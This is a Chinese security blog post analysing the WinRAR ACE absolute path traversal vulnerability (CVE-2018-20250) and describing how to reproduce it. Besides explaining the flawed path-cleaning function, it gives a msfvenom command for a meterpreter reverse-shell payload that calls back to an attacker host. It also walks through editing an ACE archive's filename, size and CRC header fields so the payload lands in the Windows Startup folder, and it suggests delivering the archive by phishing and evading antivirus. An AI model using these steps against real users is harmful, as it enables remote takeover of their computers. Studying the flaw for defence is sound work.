WinRAR绝对路径穿越漏洞(CVE-2018-20250)
首页 > 漏洞    作者:Iamyc   2019年2月22日 16:22 星期五   热度:1010°   百度已收录  
时间:2019-2-22 16:22   热度:1010° 
WinRAR绝对路径穿越漏洞(CVE-2018-20250)
一、关于漏洞
WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用
2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。


二、漏洞概要


漏洞类型:本地代码执行
漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)
漏洞利用场景:通过鱼叉邮件或者任意社交渠道进行攻击
受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序


三、漏洞原理
 提取文件的相对路径传递给GetDevicePathLen,它检查设备或驱动器名称前缀是否出现在Path参数中,并返回该字符串的长度如果返回值GetDevicePathLen大于0,则提取文件的相对路径将被视为完整路径,因为在调用期间目标文件夹被空字符串替换sprintf,这会导致Path Traversal漏洞。
 
 但是,有一个函数可以“cleans”提取文件的相对路径,在调用之前省略不允许的任何序列GetDevicePathLen。
 
 这是一个清除路径的伪代码"CleanPath"
 
 该函数省略了一些简单的Path Traversal序列,如“ \..\”(它只省略了"..\序列)序列,省略了驱动序列,如:" C:\", "C:",而且"c:\c:"也被省略掉
简述之:由于与该漏洞ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致

如:解压到自启动目录(Win7/Win10根据用户名选择)
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
调用CleanPath函数之后就是: 
CleanPath(C:\C:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
经过三次step之后: 
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
穿越到启动目录
四、利用条件
 1、不能跨盘符
(浏览器默认下载到C盘,qq是保存在安装目录的FileRecv文件夹,配合前面文章BEef+MSF的案例即可完成钓鱼攻击)
 2、只能 使用一次../,而..\不受限制,所以可以跨越到任意目录
五、漏洞复现

 [POC](https://github.com/Ridter/acefile "POC")
 MSF生成exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.140 LPORT=4444 X >test.exe


大小只有341字节,很小的文件,免杀也很好处理
添加到ACE,注意修改`store full path`

完事之后,会在目录下生成一个ace文件**

用010EDIT 或者C32都可以

使用acefile读取文件头信息
python acefile.py --headers test.ace
hdr_crc、 hdr_size、  filename的长度 、 filename

修改路径


然后修改`filename`长度,要转换成16进制,从后往前改

`100 -->> 0x0064`

修改:`hdr_size`

`131 -->> 0x0083`

修改:`hdr_crc`
保存下修改的文件,用脚本重新解析一遍头文件信息


[+] right_hdr_crc : 0x4b57 | struct b'WK'
[*] current_hdr_crc : 0xc636 | struct b'6\xc6'
test.ace: CorruptedArchiveError: header CRC failed


现在错误的是:0xc636
正确的应该是:0x4b57


从后往前改

改完之后,保存一下,用脚本重新解析一遍

没有报错,说明修改的还OK,ace后缀改为rar,解压测试
显卡坏掉了,录制的gif全是绿绿的破图,截图看下吧



------------



参考文档:

[360TI-SV-2019-0009 WinRAR远程代码执行漏洞(CVE-2018-20250)通告]

[Extracting a 19 Year Old Code Execution from WinRAR]


二维码加载中...
本文作者:Iamyc      文章标题: WinRAR绝对路径穿越漏洞(CVE-2018-20250)
本文地址:http://lang-v.com/first_cms/yc/emlog/src/?post=70
版权声明:若无注明,本文皆为“YC's Blog”原创,转载请保留文章出处。

返回顶部    首页    手机版本    后花园  
版权所有:YC's Blog    站长: Iamyc    程序:emlog